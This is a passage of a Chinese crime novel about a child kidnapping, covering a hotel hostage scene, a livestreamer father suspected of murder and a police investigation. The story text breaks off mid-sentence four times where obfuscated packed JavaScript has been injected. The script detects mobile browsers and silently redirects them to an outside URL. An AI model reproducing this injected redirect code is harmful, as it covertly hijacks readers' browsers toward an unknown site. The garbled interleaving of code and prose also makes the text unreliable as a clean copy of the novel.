“你不跟我一起去吗?”罗三丫还没独自在这样的酒店开过房,怕自己不会弄闹笑话。 李亭道:“一起去我就也得登记了,你先去办入住,待会儿再下来接我。” “好吧。”罗三丫下车,从后备箱里拎出两人的行李,往电梯的方向走去。 过了十几分钟,罗三丫从楼上下来,发现李亭已经站在电梯间等着了,戴着口罩和帽子。 她带着李亭坐电梯上楼,来到她订的房间前面,朝着斜对面两间房努了努嘴,轻声道:“那伙人就住那两间房,两个男的一间,两个女的带着果果一间。” 李亭点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251767|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人进了房间,罗三丫往床上一坐,环顾着房间里的摆设,艳羡地说:“房费好贵啊,一晚上四百多,我还是第一次住这么贵的酒店。” “别心疼钱,等事情了结了,这些开销会跟报酬一起给你。”李亭拉上窗帘。 罗三丫尴尬起来,道:“我不是这个意思,只是感慨一下,毕竟如果不是我没能及时出现,也不会花这个冤枉钱。” “都说了不怪你,你先去洗澡吧,我点个外卖,等你洗完澡外卖差不多也就到了。” “给我点个粥就行了,我最近在减肥。”罗三丫说。 “好。” 罗三丫进去洗了十几分钟就出来了,看见李亭坐在书桌那边,书桌上放着一台笔记本,她正噼里啪啦地打着字。 “你在干嘛呢?”罗三丫一边擦着自己的湿头发一边问道。 李亭回头看到她,不答反问:“你怎么这么快?” 罗三丫道:“我洗澡一直这么快啊,这还是洗头了,不洗头的话我还能更快。” “我行李包里有干发帽,你把头发裹上,再把药喷了,我这儿有事处理一下。”李亭回过头去继续打字。 罗三丫依言做了,再次好奇地走到她身后,问道:“你这到底在干嘛啊?我都看不懂。这都不是中文。” “之前为了学英语,交了一个老外网友,给她回邮件呢。你不用管我,我一会儿就好。”李亭道。 罗三丫洗衣服去了。 过了一会儿,李亭的手机响了起来,外卖到了。 她戴上口罩出门,刚好看到那个留长发戴黑手套的男人在敲斜对面的门,穿短裙的女人开了门,见是他,忙把他让进去,急切道:“我刚要去找你……” 余伟忠进了房间,见房里没人,问:“她们两个呢?” 张苏彤道:“在卫生间,小女孩拉屎。”她拽着余伟忠走到远离卫生间的窗边,一边把自己的手机递给他看一边压低声音道:“你看这个。” 余伟忠接过她的手机一看,是个小女孩的照片,身上穿着胸口绣彩虹的白裙子,站在镜头前笑得灿烂。 “什么意思?”他不解地瞥了眼张苏彤。 张苏彤悄声道:“你知道罗嵩吧,照片上这个小女孩是罗嵩的女儿,小名果果,昨天晚上七点多失踪,今早绑匪在微博上发了帖子,都上热搜了。” “罗嵩的女儿?”余伟忠微微瞪大眼,又看了眼那张照片,随后扭头看向卫生间的方向。 11. 第 11 章 李亭来到前台取外卖,发现两个男人正与前台争执,其中那个年轻的焦急地大声道:“她是我老婆,我真的不是来捉奸的!” “对不起,客人的信息我们必须保密,既然不是来捉奸的,你可以打电话叫她下来。” “我打了,她没接。” “抱歉,房间号我们真的不能告诉你。” 仇洋无可奈何,只能继续拨打徐引璋的电话,这次通了,是余伟忠接的。 “仇洋,你可真是个干大事的人啊!”余伟忠笑嘻嘻道。 “我老婆呢?”仇洋劈头问道。 “你老婆,在陪着你们绑来的那个小女孩呢。” 仇洋转身向酒店外头走去,仇国富紧随其后。 “这事跟她没关系,孩子是我带回去的,她以为是我侄女,到我家来过暑假而已。” “是吗?那这女孩怎么管她叫妈妈啊?”余伟忠语气戏谑。 仇洋窒住,停顿了几秒道:“你放过她,我给你做人质,我现在就在酒店楼下。” “你TM跟来了?你想干什么?信不信我现在就弄死她?”余伟忠又惊又怒,挂断了电话。 仇洋再打,没人接了。 “你刚才在说什么?什么孩子?什么人质?对方是什么人?”仇国富看着神经质一般反复拨打电话的仇洋,问。 仇洋根本没心思搭理他,一个劲地点着徐引璋的电话号码,见始终没人接,又想冲进酒店去逼前台说出房间号。 “问你话呢!”仇国富揪着他的领子将他一把拽到面前。 仇洋下意识地手一挥打在他的胳膊上,道:“关你什么事?” “你TM的叫我陪你来找人,老子开了□□小时的车把你带到这里,现在你说跟我没关系?你说不说?不说就给钱,老子不管了!”仇国富咬牙切齿道。 仇洋与他僵持了片刻,双肩微塌,道:“他叫余伟忠,是送我妈房子的那个余大爷的儿子。” “他绑了你老婆?孩子又是怎么回事?” “我跟你说过的,六年前被人骗了五十万,那个孩子,我以为是骗我那人的孩子,就把她绑来了,想逼朱国良那个混蛋还钱,没想到,绑错人了。” “你妈给你留了一间房子,她车祸没的,还有死亡赔偿金,就算被人骗了五十万,你应该还有不少钱,钱呢?”仇国富松开他。 “卖房钱加上赔偿金一共就一百三十多万,结婚花了七十多万,被人骗了五十万,剩下的早没了,为了给引璋看病,我还欠了不少钱,我真的没钱。” “你TM傻逼啊,没买房结个婚花七十多万,那女的镶金的?还被人骗五十万,现在你亲弟弟肝癌问你借五十万都没有,你还是不是人?” 听到他骂徐引璋,仇洋一下子激动起来,抬头大声道:“我老婆对我好,别说七十多万,只要我有,七百多万我也愿意花她身上!弟弟?我妈只生了我一个,你和小三生的那玩意儿,在我心里他算个屁!他得肝癌就是你俩的报应!” 仇国富大怒,挥起一拳砸在仇洋脸上。 仇洋失去重心向后踉跄着摔倒在地上,只觉眼前发黑,脑瓜子嗡嗡直响,然后脸上才传来痛感。 这时他手机传来微信提示音。 他顾不上其它,坐在地上点开屏幕一看,徐引璋的号给他发来了一段视频。 他点开视频。 徐引璋被人反剪着双手摁着后脑勺,面朝下泡在放满了水的洗手池中。 她摇晃脑袋扭动身子,拼命挣扎,发出溺水的恐怖声音。 水花四溅的水池边站着一个小女孩,踮着脚伸直了手臂,试图去掰钳着徐引璋双手的那只手,一边哭一边喊:“不要欺负我阿姨,放开我阿姨,你这个坏人呜呜呜……” 视频到此戛然而止。 仇洋看得心胆俱裂,忙拨过去。 电话接通了,那头传来徐引璋呛咳不止的声音和小女孩的哭声。 “怎么样?要报警吗?需不需要我给你普普法,绑架罪要判多少年?”余伟忠懒洋洋地道。 “别伤害我老婆,你要我做什么都可以,别伤害她。”仇洋哽咽着哀求。 “我说了,先打五万过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251768|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再筹集一百万,在哪儿交易,到时候我通知你。”余伟忠挂断电话,望着缩在卫生间角落里,面色惨白一身狼狈的徐引璋道:“绑架未成年人,情节严重者,处无期徒刑或死刑。如今网上因为这桩绑架案闹得沸沸扬扬,你说这情节严重不严重?” 徐引璋面露绝望。 余伟忠拿着她的手机回到卧室,收走了她的身份证和钱包,对张苏彤道:“晚上警醒着点,别让人跑了。” “知道了。” 卫生间,果果抽抽噎噎地站在徐引璋跟前,问:“阿姨,你不会死吧?” 徐引璋将黏在脸颊上的湿发捋到耳后,用手背擦了下脸颊上水珠,冲她摇了摇头,勉强挤出个微笑,道:“果果不怕,阿姨没事。” “他为什么要把你的头摁在水池里?”想到刚刚那一幕,果果还是很害怕,泪流不止。 徐引璋不知道该怎么说,朝她伸出双手。 果果过来,坐进她怀里。 她看着果果怀里抱着的大象玩偶,问“你喜欢大象?” 果果低头看了眼怀里抱着的大象玩偶,点了点头。 “为什么喜欢大象啊?一般女孩子不都喜欢小猫小狗,或者小兔子小鹿之类很可爱的小动物吗?” “我不喜欢可爱,可爱不能保护自己,小猫小狗小兔子小鹿放到大草原上都会被吃掉。我喜欢大象,大象的首领都是雌象,强壮又聪明,连狮子都不敢去招惹她们。”小女孩眨巴着湿濡的大眼睛,看着徐引璋道。 徐引璋惊讶地问:“这些话是谁跟你说的?” “是李阿姨。”果果伸手抚摸着怀里的大象玩偶,对徐引璋道:“这只大象也是李阿姨送给我的,我给她取名叫雅典娜,你知道雅典娜的故事吗?” 徐引璋摇头,问:“你可以讲给我听吗?” 果果点点头,以讲故事的神态和语气对徐引璋道:“雅典娜是《大象女王》的主角,她是一个象群的首领,她五十岁了,强大又聪明,在她的象群面临危险时,她总能用智慧拯救自己的象群,她和她的象群都很爱护象群里的象宝宝……” 12. 第 12 章 次日一早,颐海山庄。 手机设置了静音模式,屏幕时明时暗,罗嵩躺在床上,看着天花板发呆。 随着事态发展,舆论像核弹一样被引爆,书荟雅苑,公司楼下,包括他所在的这片别墅区的大门外,都有一堆堆的记者和网红蹲守着,眼冒绿光满脸饥渴,仿佛秃鹫蹲守腐尸。 他哪儿都去不了。 朱国良租住的地方也没能去,一开始是担心他那个同伙还留在他的住处,警方介入之后就更不敢去了,生怕在某些未知的监控中留下自己进出朱国良住处的影像,到那时,可真是有嘴也说不清了。 那个东西,会在他的住处吗? 就算在,就算被警方发现了,他们应该也不知道那是什么东西。唯一棘手的,是发微博的那个家伙…… 门铃声响起,把他吓了一跳。 他拿起手机看了下监控,大门外站着王运凯。 他摁下开锁键,随意扒拉了两下头发,出了卧室来到楼下。 王运凯走进客厅,把手上拎着的食物放在茶几上,看着罗嵩问道:“给你买了早饭,你这两天不方便出门,我还给你带了些食材,家政呢?” “我叫她这几天先别来了。”罗嵩把自己摔进沙发。 “那你自己会做饭吗?” “别管了,放着吧。” 王运凯在他对面坐下,摸出烟,递给罗嵩一支。 “田莉请假出国了,是你叫她出去的?” 罗嵩点头。 王运凯点头:“谨慎点没错,婚内出轨虽然算不得什么大错,但直播间的粉丝百分之九十都是女性,总要注意点形象。” 说到这里,他看着罗嵩问道:“明天晚上的直播,你有什么想法?” “一切都交给警察了,我没什么想法,也不会去直播。”罗嵩吐出一口烟,仰靠在沙发上道。 “警察要是能在直播前抓到人救出果果,那自然是最好。可如果不能呢?你不直播,果果不救了?就算出于破案需要,他们也不会允许你不直播吧?” “我是受害人家属,我不想直播,他们还能强迫我直播?” “你是果果的父亲,现在全网都知道只有你直播回答绑匪的问题才能救果果,如果你不这么做,最后果果没能救回来……当然我不是说这是你的错,但现在的网络环境你也是知道的,很多网民根本没有独立思考和判断的能力,都是不知真相人云亦云,只要有人带节奏,你的名声和事业就都完了,这对于你个人和我们公司来说,都是不可承受的损失。” 罗嵩垂下眼睑,看着王运凯道:“所以你这次是代表公司来的。” 王运凯点头:“公司希望不管这两天内果果能不能被成功解救,明天晚上八点你都要准时直播。你不要担心,对方手里应该没什么真实有效的把柄,如果有,直接爆出来就能毁了你,用不着这么大费周章。如果只是捕风捉影之类的事,公司已经请好了水军,直播时会在直播间带节奏控评,公司的专业团队会根据对方的问题提示你该怎样妥善地回答,你只需要扮演好一个因为女儿被绑架、憔悴不堪痛苦不已的父亲就行了。如果明晚八点之前绑匪被抓,果果被救回,那就更好了,你直播时感谢一下警察,感谢一下粉丝的关心,最好再让果果出个镜,肯定能涨不少粉。你觉得怎么样?” “不怎么样,我不想直播,也没那个状态。”罗嵩不清楚对方手里到底有多少料可以爆,他不想直面那个风险。 “你还不清楚现在的形势吗?你根本没得选。”王运凯盯着他,“我们是多年的朋友了,要不这样,你告诉我,你到底有什么把柄被别人抓到了?公司肯定是想保你的,你现在说,我们还有时间商量对策。直播是肯定要直播的,不然到时候怎么跟你的粉丝和广大网民解释?就说你没有状态?拜托,你女儿现在在绑匪手里,不管有什么理由,就算装,你都要装出一副不顾一切也要把她救回来的模样。” 罗嵩心烦意乱地吞吐着云雾,不说话。 “事发后公司一直在为你做事,在网上造势,请了人在每一个主题是寻找果果的群和帖子里为你说话,把你塑造成一个非常爱女儿,努力工作也只是想给女儿一个好的成长环境的好爸爸。现在网民们对你的情绪同情占大部分,你要抓住这个机会。如果你明天不直播,又拿不出一个合理的解释,你的形象绝对会急转直下。你一步步走到今天有多不容易,不需要我来提醒你吧?不要因为一时的任性毁掉这一切。”王运凯耐着性子继续劝道。 罗嵩思前想后,对方搞这一出显然是豁出去要和他鱼死网破了,就算他逃避不直播,对方肯定也会想别的办法逼他,到时候他就只能一个人面对了,倒不如趁现在公司想要力保他,借助公司的力量硬扛一波。 王运凯说得对,对方手里应该并没有掌握实质性的证据,否则他用不着用这种一不小心就会引火自焚的方式在网上兴风作浪。 最关键的是,朱国良已经死了,谁能证明那件事是真的?如果对方提出来,他大可以说对方是诽谤,死不承认就行了。 这一局,还是值得一赌的。 他把烟头摁灭在烟灰缸里,抬头看着王运凯道:“好。” 王运凯松了口气,道:“那这两天你在家好好休息……也别休息得太好,胡子也先别刮了,明天下午我来接你。” 对朱国良的手机号进行技术侦查的审批手续终于下来了。 郭阳拿着朱国良手机号的通话记录,上面显示最后一通电话是打给罗嵩的,之后这个手机号就再也没有拨出过电话。 罗嵩说他没去见朱国良,假设他去见了呢? 假设他不仅见了,还把朱国良杀了呢? 假设他把朱国良杀了之后,出于某种原因把他的手机带回了书荟雅苑,并藏在那里,第二天发现手机不见了,而当时家里除了严秀姿和果果,就只有保姆李亭是外人,所以他才怀疑是李亭偷了手机,在李亭提出要报警自证清白时,他却又不同意。过后朱国良的手机给他发了那条短信,他才会又打电话给李亭,说只有她有机会做这件,言下之意其实是朱国良已经死了,他本人是不会发这条信息的,只有李亭有机会从严秀姿家里偷走朱国良的手机,再用朱国良的手机给他发那条信息。 在这种假设下,所有的疑点就都有了合理的解释。 至于事实是否如他假设的一样,要看到视频才知道。 想到这里,他喊上正在打电话的黄文博,道:“走,再去一趟书荟雅苑。” 严秀姿独自在家,见他们来了,问:“你们怎么又来了,果果找到了?” “还没有,听说你家里有家庭监控,可以给我们看一下7月8号晚上到9号下午的监控视频吗?”郭阳道。 “哦,那个摄像头,小嵩说过时了,要换个清楚的,所以就拆掉拿去扔了。”严秀姿道。 “监控原先是连在谁手机上的?” “连在我手机上的,不是这个手机,这个是我儿子给我换的新手机,旧手机他拿走了。” “跟监控一起拿走的?什么时候拿走的?” “昨天。不是,你们问这个做什么?这跟案子有关系吗?”严秀姿问。 “看到监控视频才能确定有没有关系,既然没了,那就算了。” 黄文博跟着郭阳下了楼,道:“郭队,这个罗嵩一定有问题,女儿被绑架了,他还有心情换家里的监控,怕不是监控拍到了什么见不得人的事吧?” 监控虽然没有拍到有人进出他的房间,但应该拍到了他杀完朱国良半夜回家的影像,罗嵩销毁监控视频,是为了以防万一。 “李亭说罗嵩在前天上午发生了追尾事故,你查一下他当时驾驶的是哪辆车,把车牌号告诉小崔,叫他申请对那辆车进行技术侦查。” 黄文博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251769|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿操作,结束后一抬头,发现郭阳又带着他来到了上次来过的那家顺丰网点前。 网点负责人认得他们,上来打招呼道:“两位警官有什么事?” “昨天有事,问题没问完,你们快递车上的监控视频,会传到云端上吗?”郭阳问。 “上传云端要多花钱的,为了节约成本,就没搞这些,谁也没想到存储卡还能不翼而飞了。” “那个快递员叫仇洋是吧,他在吗?” “哦,仇洋他离职了。” “离职了?”郭阳的神经一下子敏感起来,问:“什么时候的事?为什么离职?” “昨天你们来时他不是正好说老婆肚子痛请假回去陪老婆上医院吗?下午他打电话来说他老婆病得挺严重,要做手术,他要去照顾,怕影响我们网点运转,就提了离职,我看他也是实在有困难,就同意了。”负责人道。 “你知道他们在哪家医院看病吗?” “我问了,本来打算去探望一下的,他没说。” “那他的住址你知道吗?” “我们这儿入职的时候也要填个人资料的,个人资料上有他的住址,是不是真的我就不知道了,我调出来给你们看。” 郭阳和黄文博跟着负责人走到电脑前,负责人把仇洋的个人资料找了出来,黄文博拍了照。 郭阳又问:“这个仇洋平时表现怎么样?” 负责人道:“人挺好的,挺勤奋,和同事关系也都不错。” “他认识罗嵩吗?” “这……我倒不是很清楚。”负责人抬头往店里张望了一下,把几个员工叫过来道,“两位警官想了解一下仇洋的情况,你们如果有知道的,就说一说。” “仇洋?他怎么了?” “出什么事了?” 几个人看这阵仗,都很惊诧。 郭阳忙道:“没什么事,就是了解一下情况。仇洋在跟你们聊天的过程中有没有提起过罗嵩?” “女儿被绑架的那个大主播?没有。” “那朱国良呢?” 众人面面相觑,还是摇头。 郭阳有些失望,这时有个员工道:“但是他曾提起他被诈骗过,诈骗他的那个人好像就姓朱,骗了他几十万呢,后来坐牢去了,钱也没能要回来。后来他老婆得了乳腺癌,他网贷给他老婆看的病,到现在都还在还债。提起这个姓朱的,他挺恨的。” 这回不用郭阳吩咐,黄文博立刻走到站点门外,打电话回队里,让他们查朱国良最后一次坐牢的诈骗案的原告是谁。 郭阳继续问众人:“最近一段时间,你们有没有发现他有什么异常的地方?” 几个人都说没有,只有一个人在摇头之前露出了犹豫的神色。 郭阳很敏锐地捕捉到了,问他:“你是不是想到了什么?” 那名快递员说:“我不确定,也许是看错了。” “没事,你们提供的只是线索,如果我们警方觉得有用,会想办法去验证。” 快递员见大家都眼巴巴地看着自己,不说不行了,便道:“我以前在路上碰到过仇洋和他老婆,就一次,但因为他老婆长得挺漂亮的,就给我留下了印象。我有个女儿在佳佳幼儿园上学,因为我工作比较自由,所以一般都是我去接。放暑假前,大概有大半个月的时间,有好几次我去接我女儿的时候,都看到仇洋的老婆戴着口罩站在马路对面,一动不动地看着幼儿园门口,不知道在看什么,据我所知,她和仇洋并没有孩子。” “一面之交,戴着口罩你都能认出来?”郭阳问。 快递员道:“她长得特别漂亮,尤其是那双眼睛,所以我对她印象比较深,当然我也不能确定,我就是感觉是她。” 郭阳从站点里出来时,队里也来了消息,黄文博坐进副驾驶,对郭阳道:“郭队,查到了,被朱国良诈骗的人,就是这个仇洋。” 13. 第 13 章 黄文博原以为郭阳要带他去找仇洋,没想到郭阳让他导航到附近的佳佳幼儿园。 幼儿园早就放了暑假,大门紧锁,保安室也没人。 郭阳顶着烈日抬头看了眼幼儿园门口的探头,对黄文博道:“联系一下相关负责人,把这个探头放暑假前一个月时间的监控录像都拷贝回去。” 这时他手机响了,接起来一听,道:“好,我知道了。立刻申请搜查令。” 他招呼黄文博上车。 黄文博看他神色匆匆,问道:“郭队,是有什么线索了吗?” “一位市民看到了朱国良的通缉令,主动报警,说她的房客就长这样,但他身份证上的名字不叫朱国良。” 半个小时后,两人赶到了新湖三村,跟派出所的同志完成交接。 那位看上去五十多岁的妇女一边用扇子扇着风一边带着两人往楼上去。 “看到小区群里转发的通缉令,我真是吓死了,心想这不就是住在这里的房客吗?所以就赶紧打电话报了警。”房东说。 郭阳翻看租房合同,里面有身份证复印件,但名字身份证号等信息都是假的。 “房屋出租后,你没去派出所备案。”郭阳道。 房东讪讪道:“这里是老拆迁小区,都是一些低收入的租住在这里,人员流动量很大,长租的不多。几个月就换个租客,一直去派出所备案也麻烦……刚才派出所的民警同志已经教育过我了,款也罚了,以后我会注意的。” “你最后一次看到朱国良是什么时候?” “我不住这个小区,这是我家以前的老房子,签完出租合同后,我就没见过他。” “最后一次联系呢?” “平常除了交房租也不联系,不过大前天早上他倒是给我发了个微信,说他钥匙丢了,半夜回家,让我送把钥匙过来,放在他能找到的隐蔽处,还给我发了一百五十块钱的红包,倒是挺奇怪的。” “哪里奇怪?” “当初租房的时候,关于房租他跟我讨价还价了很久,入住之后,就算家里坏根灯管,也要我出钱来换,就不是个大方的人,这次为了让我给他送钥匙居然给我发了个大红包,真不像他的作风。” “大前天早上?”郭阳拧眉。 “是啊。” “你们的聊天记录能不能给我看看?” 房东拿出手机,翻到跟朱国良的聊天页面,将手机递给郭阳。 郭阳往上面划了下,虽然时间跨度有四个多月,但聊天记录并不多,都是房租或家电坏了等相关事宜,朱国良这边基本上都是发语音,只除了最后两条,发的不是语音,而是文字。 第一条是7月9号凌晨一点三十二分发的,内容如下: “我要出去躲几天,不要找我,放在你那儿的东西好好保存,等我回来再说。” 第二条是7月9号上午八点多发的,就是房东说的要钥匙的那条。 “欸?我给他送的钥匙还在这里,他没回来吗?”到了四楼,房东弯腰掀开门口地垫的一角,拿起地上那把钥匙。 房东要开门,郭阳示意她先敲门,同时和黄文博一起拔出配枪,一个站在通往五楼的楼梯上,一个站在房东后面,枪口都对准门内,预防突发情况。 房东看这阵仗,额上刚擦干的汗珠又冒了出来,吞了口唾沫,心惊胆战地伸手摁了下门铃,房里没动静,又摁了两下,还是没有任何动静。 “好像不在家里。”她悄声道。 郭阳示意她开门。 她把门打开,郭阳率先冲进去,黄文博紧跟其后,迅速地把房里排查了一遍。 “郭队,人不在。”黄文博道。 躲在门外探头探脑的房东闻言,这才走进屋里,掩鼻道:“哎呀,这个人真是的,一把年纪了,这么不爱干净。” 茶几上放着几个餐盒,敞开着,都是吃剩下的,这么热的天,三天时间已足够令这些残羹冷炙腐败变质,荤菜里面甚至生了蛆。 黄文博过去翻了下外卖袋子上的订单小票,对郭阳道:“是8号中午定的外卖,手机尾号和朱国良的电话号码尾号一致。” 郭阳在房里仔细翻看了下,问房东:“他是一个人住这里?” 房东道:“租房的时候我也问了一嘴,他说和女朋友,还给我看了女朋友的照片,可你看这,房里脏成这样,也不像是有女人住的样子啊。” “你还记得他女朋友的模样吗?”郭阳忙问道。 “我就瞥了一眼,记不太清楚了,就记得是个肤白貌美身材苗条,很有气质的女人,根本不像是他能追得上的,当时就以为他吹牛来着。” “微信上他说有什么东西存放在你这里,是什么意思?” “不知道啊,估计是发错了吧,凌晨发的我也没看到,第二天上午他给我发信息要我送钥匙我才看到那条信息,估计他也看到那条信息发错了,我就没给他回。”房东道。 房里没有打斗痕迹,也没有女人或是孩子在这里生活过的痕迹。要获取更多信息,只能等搜查令下来后派技术人员过来了。 郭阳吩咐黄文博把茶几上的餐盒带走,回去验一下DNA。 房东听说他们要把茶几上那堆散发恶臭的垃圾带走,对两人连连道谢。 郭阳叮嘱她:“这房里所有的东西你暂时都不要碰,下午我们的同事会过来调查取证。” 从朱国良的出租房出来后,郭阳带着黄文博回了趟队里,又马不停蹄地赶往仇洋的住处。 敲门,没人应门,打电话,没人接。 两人没办法,只能去敲对面的门。 屋里传来狗叫声,没一会儿一个五十多岁的中年妇女来开了门。 郭阳和王文博向她出示了证件,道:“你好,我们是警察,想跟你了解些情况,请问现在方便吗?” 妇女一脸迷惑,“了解什么情况?” 郭阳问道:“你认识住在你对门的人吗?” “你说小仇小徐啊,认识啊,他们怎么了?” “有个案子需要他们协助调查。” “哦,他们不在家吗?进来说吧。”妇女将两人让进门,又抱起地上狂吠不止的泰迪狗安抚,让两人坐。 黄文博打开记录本。 “你知道小仇小徐具体叫什么名字吗?” “我就知道男的叫仇洋,因为仇这个姓还蛮少见的,我就记住了,他老婆姓徐,具体叫什么名字我就不知道了。” “他们来这里多久了?” “蛮久了,至少也有两年多了,对了,他们是前年春天搬过来的。” “你知道他们做什么工作吗?” “小仇是送快递的,顺丰,小徐好像说是身体不太好,没工作,就在家里烧烧饭洗洗衣服,小夫妻两个说话都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251770|181997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和和气气的,如果有什么事找他们帮忙,也很热情,人挺好的。” “最近几天,他们有没有什么异常?” “异常?没有吧。哦,昨天小仇他爸来了,说来奇怪,以往小仇对他这个爸都是避之不及的,昨天我看到他坐着他爸的车走了。”提起仇洋他爸,妇女脸上露出不屑的神情。 “什么时候的事?” “当时我刚午睡起来,在厨房洗水果的时候看到的,大概下午一点半左右吧。” “仇洋和他父亲关系很差吗?” “很差,那老登来仇洋门上闹过,吵得我们整栋人都知道。事后我向小徐打听,小徐告诉我,在仇洋很小的时候,他爸妈就因为他爸婚内出轨离婚了。他妈一个人含辛茹苦把他养大,在九年前出车祸去世。仇洋他爸上门闹事,是因为他和小三生的儿子得了肝癌,治病需要几十万,老登没办法,打起了仇洋妈妈死亡赔偿金的主意,过来跟仇洋说他有给他养老的义务,一次性给五十万就算买断,你说一个人怎么能不要脸到这种程度?”妇女一边说一边咋舌。 “仇洋的老婆最近在家吗?” “在,昨天早上我买菜还遇见她了,买了挺多菜,今天倒是还没见过她。” “有听说她生病住院的事吗?” “没有啊,她生病了?昨天看着不还好好的吗?” 郭阳顿了顿,继续问:“她和仇洋有孩子吗?” “没有,我曾经也问过她怎么不要个孩子,她说她身体不好,仇洋担心她的身体承受不了生孩子的负担,所以不要她生。前阵子听楼上的淑芬说,小徐经常在幼儿园放学的时候去幼儿园门口的马路边上看着人家接孩子,唉,也是可怜。” 黄文博听到这里,看向郭阳。 郭阳问妇女:“你有仇洋老婆的电话吗?” “号码没有,但我有她微信。”妇女拿出手机点开微信给郭阳看。 郭阳点开她的朋友圈,发现昨天下午五点多的时候她发了一条动态,写着“出来旅游啦”配图是夕阳。 郭阳把手机还给妇女,道:“你给她打个视频,问问她去哪儿旅游了,和谁一起?仇洋有没有跟她在一起?” 妇女拨打了视频电话,过了好一会儿,对方接通了,但转为了语音通话。 “喂,小徐?” “她在上厕所。”是个陌生女人的声音。 妇女愣了下,下意识问道:“你是谁啊?” “你是谁啊?”对方不答反问。 “我是她对门的刘阿姨。” “什么事?” “没什么事,我就是看到她发的朋友圈,说出去旅游,所以打电话来问问,你们去哪儿旅游了啊?” “不用担心,她好着呢。” “哦,那小仇也一起去了吗?” “他工作那么忙,哪有时间?好了不说了,我们要出发了。” “哦哦。” 挂断电话,刘阿姨看向郭阳。 “谢谢你的配合。”郭阳递给妇女一张名片,道:“如果对门有人回来,麻烦你不要跟他们说我们来过,先联系我们好吗?” “哦,好的,好的。” “郭队,这些线索怎么都一团乱啊,我脑子都乱了,理不出个头绪。”黄文博道。 “先去调取幼儿园门口的监控记录,想不通的事回队里再想。”郭阳启动车子。 14.第 14 章 入夜,顶着烈日在外头奔忙了一天的刑警们陆续回到队里,草草吃两口泡面便又聚集到会议室里汇报线索分析案情。 先是崔胜。 “朱国良的手机目前无法被定位,但我查到了这张电话卡最后一次连网的基站,以及这个基站所覆盖的区域。”崔胜在电脑上操作一番,电脑上出现了一张地图,图上有个红点,以它为圆心画了个圆圈。 “松湖小区?”黄文博和郭阳一眼就看到了包含在圆圈里的那个小区名字。 “最后一次连网是什么时候?”郭阳问。 “昨天上午八点十七分,与给罗嵩和吴晓敏发送威胁短信的时间一致。之后就再没有这个号码的连网记录了。” “朱国良和罗嵩的通话记录呢?”郭阳问。 “内容比较多,还没来得及全部听完,只听了最后几通,在朱国良和罗嵩的最后一通电话中,罗嵩并没有明确拒绝和朱国良见面。”崔胜点开通话录音。 罗:“喂?” 朱:“是我,今晚你直播到几点?” 罗:“什么事?” 朱:“你说什么事?几点?” 罗:“十一点。” 朱:“十二点,老地方,老规矩。” 罗嵩没应答,通话结束。 小王补充道:“郭队,你让我们调取新湖三村小区门口的监控记录,从监控中看,7月8号晚上十一点二十三分朱国良步行离开了小区,后面有没有再回来,因为监控还没看完,暂时不能确定。” “从他们最后一通电话的录音来看,朱国良强势独断,明显占据主导地位,也丝毫不怕罗嵩不去赴约,而且他当晚十一点多出门,显然是赴约去了。罗嵩在这一点上可能撒了谎,7月9日凌晨,他应该是和朱国良见了面。”李冲道。 郭阳问崔胜:“我让你调查的罗嵩那辆车的行动轨迹,调查得怎么样了。” 崔胜露出惯常的讪笑表情。 郭阳一看他这表情就知道,手续还没审批下来。 郭阳也是无奈,他知道职权不能滥用,所以他们要启动调查私人手机号或车辆之类的程序,都需要严格审批,问题就出在这个案子时间很紧,离案犯规定的直播时间已经不足二十四个小时,而一旦直播开始,对方会做出什么反应,孩子的人身安全谁也不能保证。 